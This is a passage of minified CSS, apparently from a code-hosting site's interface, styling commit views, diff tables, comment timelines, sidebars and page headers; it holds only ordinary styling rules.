li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item 